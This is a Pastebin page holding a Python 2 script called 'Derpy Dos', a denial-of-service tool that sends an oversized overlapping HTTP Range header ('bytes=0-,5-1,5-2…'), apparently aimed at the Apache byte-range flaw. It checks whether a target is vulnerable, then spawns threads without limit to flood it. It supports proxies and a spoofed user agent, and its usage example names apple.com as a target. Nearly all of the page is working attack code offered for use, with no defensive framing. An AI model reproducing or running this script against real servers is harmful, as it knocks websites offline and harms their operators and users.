Advertisement
Ov3rxRide

Derpy Dos

Nov 17th, 2016
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.50 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse
  4.  
  5. NAME        = " "
  6. VERSION     = " "
  7. LICENSE     = "This is licensed to elite hackers of the 1337 dark web" (skiddos)
  8. HEADER      = """
  9.             _____                        
  10.            |  __ \                      
  11.            | |  | | ___ _ __ _ __  _   _
  12.            | |  | |/ _ \ |__| |_ \| | | |
  13.            | |__| |  __/ |  | |_) | |_| |
  14.            |_____/ \___|_|  | |__/ \__| |
  15.                             | |     __/ |
  16.                             |_|    |___/ """
  17. SLEEP_TIME      = 3
  18. RANGE_NUMBER    = 1024
  19. USER_AGENT      = "Derpy(%s)" % VERSION
  20.  
  21. def attack(url, user_agent=None, method='GET', proxy=None):
  22.     url = ("http://%s" % url) if '://' not in url else url
  23.     host = urlparse.urlparse(url).netloc
  24.  
  25.     if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
  26.         print "(x) Invalid proxy address used"
  27.         exit(-1)
  28.  
  29.     proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
  30.     opener = urllib2.build_opener(proxy_support)
  31.     urllib2.install_opener(opener)
  32.  
  33.     class _MethodRequest(urllib2.Request):
  34.         def set_method(self, method):
  35.             self.method = method.upper()
  36.  
  37.         def get_method(self):
  38.             return getattr(self, 'method', urllib2.Request.get_method(self))
  39.  
  40.     def _send(check=False):
  41.         if check:
  42.             print "(i) Checking target for vulnerability..."
  43.         payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
  44.         try:
  45.             headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
  46.             req = _MethodRequest(url, None, headers)
  47.             req.set_method(method)
  48.             response = urllib2.urlopen(req)
  49.             if check:
  50.                 return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
  51.         except urllib2.URLError, msg:
  52.             if any([item in str(msg) for item in ('Too many', 'Connection reset')]):
  53.                 pass
  54.             elif 'timed out' in str(msg):
  55.                 print "\r(!) Server seems to be choked ('%s')" % msg
  56.             else:
  57.                 print "(!) Connection error ('%s')" % msg
  58.                 if check or 'Forbidden' in str(msg):
  59.                     os._exit(-1)
  60.         except Exception, msg:
  61.             raise
  62.  
  63.     try:
  64.         if not _send(check=True):
  65.             print "(!) Target is not vulnerable"
  66.         else:
  67.             print "(#) Target seems to be vulnerable\n"
  68.             quit = False
  69.             while not quit:
  70.                 threads = []
  71.                 print "(#) Creating new threads..."
  72.                 try:
  73.                     while True:
  74.                         thread = threading.Thread(target=_send)
  75.                         thread.start()
  76.                         threads.append(thread)
  77.                 except KeyboardInterrupt:
  78.                     quit = True
  79.                     raise
  80.                 except Exception, msg:
  81.                     if 'new thread' in str(msg):
  82.                         print "(#) Maximum number of new threads created (%d)" % len(threads)
  83.                     else:
  84.                         print "(!) Exception occured ('%s')" % msg
  85.                 finally:
  86.                     if not quit:
  87.                         print "(#) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
  88.                         time.sleep(SLEEP_TIME)
  89.                         print
  90.     except KeyboardInterrupt:
  91.         print "\r(x) Ctrl-C was pressed"
  92.         os._exit(1)
  93.  
  94. if __name__ == "__main__":
  95.     print "%s %s\n  %s\n" % (NAME, VERSION, AUTHOR)
  96.     print "%s %s %s \n" % (HEADER, NAME, VERSION)
  97.     parser = optparse.OptionParser(version=VERSION)
  98.     parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/\")")
  99.     parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 Linux\")")
  100.     parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
  101.     parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
  102.     parser.add_option("--Example", help="python derpy.py -u http://apple.com --agent Mozilla/5.0 Linux --method GET")
  103.     options, _ = parser.parse_args()
  104.     if options.url:
  105.         result = attack(options.url, options.agent, options.method, options.proxy)
  106.     else:
  107.         parser.print_help()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement